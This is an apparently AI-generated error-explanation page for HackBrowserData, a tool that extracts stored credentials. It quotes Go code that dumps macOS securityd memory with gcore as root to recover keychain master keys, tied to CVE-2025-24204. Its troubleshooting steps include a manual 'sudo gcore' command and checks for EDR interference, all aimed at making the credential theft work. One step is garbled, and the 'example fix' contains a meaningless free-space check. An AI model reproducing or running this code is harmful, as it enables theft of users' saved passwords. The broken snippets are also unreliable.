moonD4rk/HackBrowserData · critical

failed to dump securityd memory: %w

Error message

failed to dump securityd memory: %w

What it means

This error wraps cmd.Run() failure when executing `gcore -d -s -v -o <prefix> <pid>` to dump securityd's memory. gcore is the only mechanism this library uses to capture the target process heap, so a failure here aborts keychain decryption entirely.

Source

Thrown at masterkey/gcoredump_darwin.go:82

// read login.keychain-db's generic password records. Requires root.
func DecryptKeychainRecords() ([]keychainbreaker.GenericPassword, error) {
	if os.Geteuid() != 0 {
		return nil, errors.New("requires root privileges")
	}

	pid, err := findProcessByName("securityd", true)
	if err != nil {
		return nil, fmt.Errorf("failed to find securityd pid: %w", err)
	}

	// gcore appends ".PID" to the -o prefix, e.g. prefix.123
	corePrefix := filepath.Join(os.TempDir(), fmt.Sprintf("securityd-core-%d", time.Now().UnixNano()))
	corePath := fmt.Sprintf("%s.%d", corePrefix, pid)
	defer os.Remove(corePath)

	cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
	if err := cmd.Run(); err != nil {
		return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
	}

	// vmmap identifies MALLOC_SMALL heap regions where securityd stores keys
	regions, err := findMallocSmallRegions(pid)
	if err != nil {
		return nil, fmt.Errorf("failed to find malloc small regions: %w", err)
	}

	candidates, err := scanMasterKeyCandidates(corePath, regions)
	if err != nil {
		return nil, fmt.Errorf("scan master key candidates: %w", err)
	}
	if len(candidates) == 0 {
		return nil, fmt.Errorf("no master key candidates found in securityd memory")
	}

	// read keychain file once, reuse buffer for each candidate
	keychainBuf, err := os.ReadFile(loginKeychainPath)

View on GitHub (pinned to 0503d04d7a)

Solutions

1. Check gcore exists: `which gcore` (install Xcode Command Line Tools / LLDB if missing).
2. Verify gcore holds the com.apple.system-task-ports.read entitlement (`codesign -d --entitlements - $(which gcore)`); use the Apple-shipped gcore on the patched CVE-2025-24204 systems will fail.
3. Run with sufficient free space in $TMPDIR — securityd cores can be large; set TMPDIR to a larger volume if needed.
4. Test manually as root: `sudo gcore -d -s -v -o /tmp/test-core <securityd-pid>` to see the raw gcore error.
5. Check EDR/MDM or hardened runtime policies that may deny task port access to securityd.

Example fix

// before
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
if err := cmd.Run(); err != nil {
    return nil, fmt.Errorf("failed to dump securityd memory: %w", err)
}
// after
cmd := exec.Command("gcore", "-d", "-s", "-v", "-o", corePrefix, strconv.Itoa(pid))
if out, err := cmd.CombinedOutput(); err != nil {
    return nil, fmt.Errorf("failed to dump securityd memory: %w: %s", err, out)
}

if _, err := exec.LookPath("gcore"); err != nil {
    return fmt.Errorf("gcore not found; install Xcode Command Line Tools")
}
// also check free space in TMPDIR
if st, err := os.Stat(os.TempDir()); err == nil {
    _ = st
}

_, err := masterkey.DecryptKeychainRecords()
if err != nil && strings.Contains(err.Error(), "failed to dump securityd memory") {
    // check gcore availability/entitlements before retrying
}

When it happens

Trigger: Calling DecryptKeychainRecords as root on macOS when: the gcore binary is missing from PATH, gcore lacks the com.apple.system-task-ports.read entitlement (per CVE-2025-24204 context), the dump is too large for /tmp, or gcore exits nonzero for any other reason (timeout, ptrace restrictions).

Common situations: macOS without Xcode/LLDB installed (gcore not present); running on macOS versions where the CVE-2025-24204 entitlement path no longer applies (patched systems); /tmp too small for a multi-GB securityd core; security managers or EDR blocking process memory reads.

Related errors

• failed to find malloc small regions: %w
• requires root privileges
• keychain gcore dump not built in (rebuild with -tags keychai
• not found in credential store
• sysctl kern.proc.all failed: %w

AI-assisted analysis of moonD4rk/HackBrowserData@0503d04d7a (2026-09-06). Data as JSON: /api/errors/70eb14a5dd5dc9c5. Report an issue: GitHub.